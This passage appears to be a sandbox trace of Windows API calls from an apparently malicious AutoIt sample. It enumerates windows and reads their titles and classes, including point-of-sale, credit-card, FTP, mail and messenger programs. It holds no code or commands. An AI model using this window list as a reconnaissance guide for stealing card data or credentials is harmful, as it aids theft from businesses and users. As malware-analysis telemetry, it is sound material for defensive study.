lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.610] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.610] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.641] CharLowerBuffW (in: lpsz="byte lpfile[230402]", cchLength=0x13 | out: lpsz="byte lpfile[230402]") returned 0x13 [0139.641] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.641] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.641] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.642] EnumWindows (lpEnumFunc=0x30aed4, lParam=0x375500) returned 1 [0139.642] GetWindowTextW (in: hWnd=0x10132, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.642] GetClassNameW (in: hWnd=0x10132, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0139.643] GetWindowTextW (in: hWnd=0x10104, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.643] GetClassNameW (in: hWnd=0x10104, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0139.643] GetWindowTextW (in: hWnd=0x100d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.643] GetClassNameW (in: hWnd=0x100d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.644] GetWindowTextW (in: hWnd=0x100ae, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.644] GetClassNameW (in: hWnd=0x100ae, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.644] GetWindowTextW (in: hWnd=0x100b2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.644] GetClassNameW (in: hWnd=0x100b2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.644] GetWindowTextW (in: hWnd=0x100be, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.644] GetClassNameW (in: hWnd=0x100be, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.644] GetWindowTextW (in: hWnd=0x100c8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.644] GetClassNameW (in: hWnd=0x100c8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.645] GetWindowTextW (in: hWnd=0x100cc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.645] GetClassNameW (in: hWnd=0x100cc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.645] GetWindowTextW (in: hWnd=0x10090, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.645] GetClassNameW (in: hWnd=0x10090, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.645] GetWindowTextW (in: hWnd=0x1009e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.645] GetClassNameW (in: hWnd=0x1009e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.645] GetWindowTextW (in: hWnd=0x100c6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.646] GetClassNameW (in: hWnd=0x100c6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.646] GetWindowTextW (in: hWnd=0x10084, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.646] GetClassNameW (in: hWnd=0x10084, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Shell_TrayWnd") returned 13 [0139.646] GetWindowTextW (in: hWnd=0x101de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Network Flyout") returned 14 [0139.646] GetClassNameW (in: hWnd=0x101de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ATL:00007FFFDA284120") returned 20 [0139.647] GetWindowTextW (in: hWnd=0x100de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.647] GetClassNameW (in: hWnd=0x100de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.647] GetWindowTextW (in: hWnd=0x100d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.647] GetClassNameW (in: hWnd=0x100d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0139.647] GetWindowTextW (in: hWnd=0x20304, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.647] GetClassNameW (in: hWnd=0x20304, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0139.745] GetWindowTextW (in: hWnd=0x20208, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.746] GetClassNameW (in: hWnd=0x20208, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.746] GetWindowTextW (in: hWnd=0x3007a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.746] GetClassNameW (in: hWnd=0x3007a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.746] GetWindowTextW (in: hWnd=0x3002c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.746] GetClassNameW (in: hWnd=0x3002c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0139.746] GetWindowTextW (in: hWnd=0x2013a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0139.746] GetClassNameW (in: hWnd=0x2013a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IEFrame") returned 7 [0139.746] GetWindowTextW (in: hWnd=0x70102, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.747] GetClassNameW (in: hWnd=0x70102, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0139.747] GetWindowTextW (in: hWnd=0x202a0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.747] GetClassNameW (in: hWnd=0x202a0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="VSyncHelper-08175010-8cd0474") returned 28 [0139.747] GetWindowTextW (in: hWnd=0x30234, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0139.747] GetClassNameW (in: hWnd=0x30234, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0139.747] GetWindowTextW (in: hWnd=0x20284, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.747] GetClassNameW (in: hWnd=0x20284, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0139.748] GetWindowTextW (in: hWnd=0x2026e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.748] GetClassNameW (in: hWnd=0x2026e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0139.748] GetWindowTextW (in: hWnd=0x20372, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.748] GetClassNameW (in: hWnd=0x20372, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.748] GetWindowTextW (in: hWnd=0x20250, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.748] GetClassNameW (in: hWnd=0x20250, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="VSyncHelper-0519A538-87b8549") returned 28 [0139.748] GetWindowTextW (in: hWnd=0x4012a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0139.749] GetClassNameW (in: hWnd=0x4012a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0139.749] GetWindowTextW (in: hWnd=0x202dc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.749] GetClassNameW (in: hWnd=0x202dc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0139.749] GetWindowTextW (in: hWnd=0x202fe, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.749] GetClassNameW (in: hWnd=0x202fe, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0139.749] GetWindowTextW (in: hWnd=0x202b2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.749] GetClassNameW (in: hWnd=0x202b2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.750] GetWindowTextW (in: hWnd=0x30036, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0139.750] GetClassNameW (in: hWnd=0x30036, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0139.750] GetWindowTextW (in: hWnd=0x10360, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.750] GetClassNameW (in: hWnd=0x10360, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.750] GetWindowTextW (in: hWnd=0x10350, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Spgagentservice") returned 15 [0139.750] GetClassNameW (in: hWnd=0x10350, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="spgagentserviceclass") returned 20 [0139.750] GetWindowTextW (in: hWnd=0x1034c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Thank Clearly") returned 13 [0139.750] GetClassNameW (in: hWnd=0x1034c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Thank_clearly_cls") returned 17 [0139.751] GetWindowTextW (in: hWnd=0x10348, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Learn Get") returned 9 [0139.751] GetClassNameW (in: hWnd=0x10348, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Learn_get_") returned 10 [0139.751] GetWindowTextW (in: hWnd=0x1032c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Spcwin") returned 6 [0139.751] GetClassNameW (in: hWnd=0x1032c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="spcwinwindow") returned 12 [0139.751] GetWindowTextW (in: hWnd=0x10342, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Hair Federal") returned 12 [0139.751] GetClassNameW (in: hWnd=0x10342, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="hairFederalcls") returned 14 [0139.751] GetWindowTextW (in: hWnd=0x10338, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Education") returned 9 [0139.752] GetClassNameW (in: hWnd=0x10338, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Educationwnd") returned 12 [0139.752] GetWindowTextW (in: hWnd=0x10336, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Utg2") returned 4 [0139.752] GetClassNameW (in: hWnd=0x10336, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="utg2_win") returned 8 [0139.752] GetWindowTextW (in: hWnd=0x10324, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Mxslipstream") returned 12 [0139.752] GetClassNameW (in: hWnd=0x10324, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="mxslipstream_class") returned 18 [0139.752] GetWindowTextW (in: hWnd=0x1030e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Creditservice") returned 13 [0139.752] GetClassNameW (in: hWnd=0x1030e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="creditservice_") returned 14 [0139.753] GetWindowTextW (in: hWnd=0x10326, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Omnipos") returned 7 [0139.753] GetClassNameW (in: hWnd=0x10326, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="omniposwindow") returned 13 [0139.753] GetWindowTextW (in: hWnd=0x10318, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Fpos") returned 4 [0139.753] GetClassNameW (in: hWnd=0x10318, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="fpos_window") returned 11 [0139.753] GetWindowTextW (in: hWnd=0x10310, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Edcsvr") returned 6 [0139.753] GetClassNameW (in: hWnd=0x10310, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="edcsvrapp") returned 9 [0139.753] GetWindowTextW (in: hWnd=0x1031a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Isspos") returned 6 [0139.753] GetClassNameW (in: hWnd=0x1031a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="isspos_win") returned 10 [0139.754] GetWindowTextW (in: hWnd=0x10300, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Ccv_Server") returned 10 [0139.754] GetClassNameW (in: hWnd=0x10300, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ccv_serverwin") returned 13 [0139.754] GetWindowTextW (in: hWnd=0x102f2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Afr38") returned 5 [0139.754] GetClassNameW (in: hWnd=0x102f2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="afr38wnd") returned 8 [0139.754] GetWindowTextW (in: hWnd=0x10306, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Centralcreditcard") returned 17 [0139.754] GetClassNameW (in: hWnd=0x10306, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="centralcreditcard_wnd") returned 21 [0139.754] GetWindowTextW (in: hWnd=0x102f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Aldelo") returned 6 [0139.755] GetClassNameW (in: hWnd=0x102f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="aldelowindow") returned 12 [0139.755] GetWindowTextW (in: hWnd=0x102ee, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Accupos") returned 7 [0139.755] GetClassNameW (in: hWnd=0x102ee, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="accupos_") returned 8 [0139.755] GetWindowTextW (in: hWnd=0x102e8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Active-Charge") returned 13 [0139.755] GetClassNameW (in: hWnd=0x102e8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="active-chargewin") returned 16 [0139.755] GetWindowTextW (in: hWnd=0x102e6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Yahoomessenger") returned 14 [0139.756] GetClassNameW (in: hWnd=0x102e6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="yahoomessengerwindow") returned 20 [0139.756] GetWindowTextW (in: hWnd=0x102d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Whatsapp") returned 8 [0139.756] GetClassNameW (in: hWnd=0x102d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="whatsapp_cls") returned 12 [0139.756] GetWindowTextW (in: hWnd=0x102e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Winscp") returned 6 [0139.756] GetClassNameW (in: hWnd=0x102e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="winscp_app") returned 10 [0139.756] GetWindowTextW (in: hWnd=0x102d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Webdrive") returned 8 [0139.756] GetClassNameW (in: hWnd=0x102d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="webdriveapp") returned 11 [0139.757] GetWindowTextW (in: hWnd=0x102d2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Trillian") returned 8 [0139.757] GetClassNameW (in: hWnd=0x102d2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="trillianwin") returned 11 [0139.757] GetWindowTextW (in: hWnd=0x102aa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Smartftp") returned 8 [0139.757] GetClassNameW (in: hWnd=0x102aa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="smartftpwnd") returned 11 [0139.757] GetWindowTextW (in: hWnd=0x102b0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Skype") returned 5 [0139.757] GetClassNameW (in: hWnd=0x102b0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="skype_wnd") returned 9 [0139.757] GetWindowTextW (in: hWnd=0x102ac, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Thunderbird") returned 11 [0139.757] GetClassNameW (in: hWnd=0x102ac, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="thunderbird_wnd") returned 15 [0139.758] GetWindowTextW (in: hWnd=0x1029c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Scriptftp") returned 9 [0139.758] GetClassNameW (in: hWnd=0x1029c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="scriptftpapp") returned 12 [0139.758] GetWindowTextW (in: hWnd=0x10292, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Outlook") returned 7 [0139.758] GetClassNameW (in: hWnd=0x10292, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="outlookwindow") returned 13 [0139.758] GetWindowTextW (in: hWnd=0x10294, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Pidgin") returned 6 [0139.758] GetClassNameW (in: hWnd=0x10294, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="pidgin_cls") returned 10 [0139.758] GetWindowTextW (in: hWnd=0x10286, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Notepad") returned 7 [0139.759] GetClassNameW (in: hWnd=0x10286, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="notepad") returned 7 [0139.759] GetWindowTextW (in: hWnd=0x10288, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Operamail") returned 9 [0139.759] GetClassNameW (in: hWnd=0x10288, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="operamail_window") returned 16 [0139.759] GetWindowTextW (in: hWnd=0x1027e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Ncftp") returned 5 [0139.759] GetClassNameW (in: hWnd=0x1027e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ncftp_win") returned 9 [0139.759] GetWindowTextW (in: hWnd=0x10274, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Icq") returned 3 [0139.760] GetClassNameW (in: hWnd=0x10274, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="icq_class") returned 9 [0139.760] GetWindowTextW (in: hWnd=0x10272, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Gmailnotifierpro") returned 16 [0139.760] GetClassNameW (in: hWnd=0x10272, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="gmailnotifierprowindow") returned 22 [0139.760] GetWindowTextW (in: hWnd=0x1026a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Foxmailincmail") returned 14 [0139.760] GetClassNameW (in: hWnd=0x1026a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="foxmailincmailwin") returned 17 [0139.760] GetWindowTextW (in: hWnd=0x10252, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Far") returned 3 [0139.760] GetClassNameW (in: hWnd=0x10252, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="farcls") returned 6 [0139.761] GetWindowTextW (in: hWnd=0x1024c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Bitkinex") returned 8 [0139.761] GetClassNameW (in: hWnd=0x1024c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="bitkinex") returned 8 [0139.761] GetWindowTextW (in: hWnd=0x1023e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Alftp") returned 5 [0139.761] GetClassNameW (in: hWnd=0x1023e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="alftp_class") returned 11 [0139.761] GetWindowTextW (in: hWnd=0x10238, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="3Dftp") returned 5 [0139.761] GetClassNameW (in: hWnd=0x10238, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="3dftp") returned 5 [0139.761] GetWindowTextW (in: hWnd=0x10266, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Fling") returned 5 [0139.762] GetClassNameW (in: hWnd=0x10266, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="fling_window") returned 12 [0139.762] GetWindowTextW (in: hWnd=0x1027a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Leechftp") returned 8 [0139.762] GetClassNameW (in: hWnd=0x1027a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="leechftpwnd") returned 11 [0139.762] GetWindowTextW (in: hWnd=0x1025e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Filezilla") returned 9 [0139.762] GetClassNameW (in: hWnd=0x1025e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="filezilla_wnd") returned 13 [0139.762] GetWindowTextW (in: hWnd=0x10236, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Institution Big Direction") returned 25 [0139.762] GetClassNameW (in: hWnd=0x10236, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="InstitutionBigDirection") returned 23 [0139.763] GetWindowTextW (in: hWnd=0x10260, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Flashfxp") returned 8 [0139.763] GetClassNameW (in: hWnd=0x10260, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="flashfxpwnd") returned 11 [0139.763] GetWindowTextW (in: hWnd=0x10254, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Coreftp") returned 7 [0139.763] GetClassNameW (in: hWnd=0x10254, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="coreftp_wnd") returned 11 [0139.763] GetWindowTextW (in: hWnd=0x1024a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Barca") returned 5 [0139.763] GetClassNameW (in: hWnd=0x1024a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="barcaclass") returned 10 [0139.763] GetWindowTextW (in: hWnd=0x10226, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="For Receive") returned 11 [0139.764] GetClassNameW (in: hWnd=0x10226, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Forreceiveapp") returned 13 [0139.764] GetWindowTextW (in: hWnd=0x1021c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Behind Town") returned 11 [0139.764] GetClassNameW (in: hWnd=0x1021c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Behind_town_window") returned 18 [0139.764] GetWindowTextW (in: hWnd=0x10240, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Absolutetelnet") returned 14 [0139.764] GetClassNameW (in: hWnd=0x10240, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="absolutetelnet_class") returned 20 [0139.764] GetWindowTextW (in: hWnd=0x10218, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Particular Crime") returned 16 [0139.764] GetClassNameW (in: hWnd=0x10218, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="particularCrimeclass") returned 20 [0139.765] GetWindowTextW (in: hWnd=0x1022c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Meet Seat Sometimes") returned 19 [0139.765] GetClassNameW (in: hWnd=0x1022c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MeetseatSometimeswindow") returned 23 [0139.765] GetWindowTextW (in: hWnd=0x10224, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Private Perform Born") returned 20 [0139.765] GetClassNameW (in: hWnd=0x10224, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Private_Perform_Born_") returned 21 [0139.765] GetWindowTextW (in: hWnd=0x1020a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Arm Already Outside") returned 19 [0139.765] GetClassNameW (in: hWnd=0x1020a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Arm_already_outside_win") returned 23 [0139.765] GetWindowTextW (in: hWnd=0x10202, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Big") returned 3 [0139.766] GetClassNameW (in: hWnd=0x10202, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="big_window") returned 10 [0139.766] GetWindowTextW (in: hWnd=0x1021e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Player Pay Half") returned 15 [0139.766] GetClassNameW (in: hWnd=0x1021e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="playerpayhalfwindow") returned 19 [0139.766] GetWindowTextW (in: hWnd=0x10216, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Sea Travel Style") returned 16 [0139.766] GetClassNameW (in: hWnd=0x10216, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Sea_Travel_style_cls") returned 20 [0139.766] GetWindowTextW (in: hWnd=0x10200, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Magazine") returned 8 [0139.767] GetClassNameW (in: hWnd=0x10200, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="magazine_app") returned 12 [0139.767] GetWindowTextW (in: hWnd=0x10204, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Production Tend") returned 15 [0139.767] GetClassNameW (in: hWnd=0x10204, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="productiontendcls") returned 17 [0139.767] GetWindowTextW (in: hWnd=0x301f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Painting") returned 8 [0139.767] GetClassNameW (in: hWnd=0x301f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="paintingcls") returned 11 [0139.767] GetWindowTextW (in: hWnd=0x201fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Better") returned 6 [0139.768] GetClassNameW (in: hWnd=0x201fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Betterclass") returned 11 [0139.768] GetWindowTextW (in: hWnd=0x30032, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Run Service Who") returned 15 [0139.768] GetClassNameW (in: hWnd=0x30032, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Run_service_Who_") returned 16 [0139.768] GetWindowTextW (in: hWnd=0x3001c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.768] GetClassNameW (in: hWnd=0x3001c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.768] GetWindowTextW (in: hWnd=0x20142, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.768] GetClassNameW (in: hWnd=0x20142, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0139.769] GetWindowTextW (in: hWnd=0x2013e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.769] GetClassNameW (in: hWnd=0x2013e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0139.769] GetWindowTextW (in: hWnd=0x20140, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.769] GetClassNameW (in: hWnd=0x20140, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.769] GetWindowTextW (in: hWnd=0x2008a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.769] GetClassNameW (in: hWnd=0x2008a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0139.769] GetWindowTextW (in: hWnd=0x60046, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="AutoIt v3") returned 9 [0139.770] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0xd, wParam=0x400, lParam=0xbdedb0) returned 0x9 [0139.770] GetClassNameW (in: hWnd=0x60046, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="AutoIt v3") returned 9 [0139.770] GetWindowTextW (in: hWnd=0x702ec, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0139.770] GetClassNameW (in: hWnd=0x702ec, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0139.770] GetWindowTextW (in: hWnd=0x101e8, 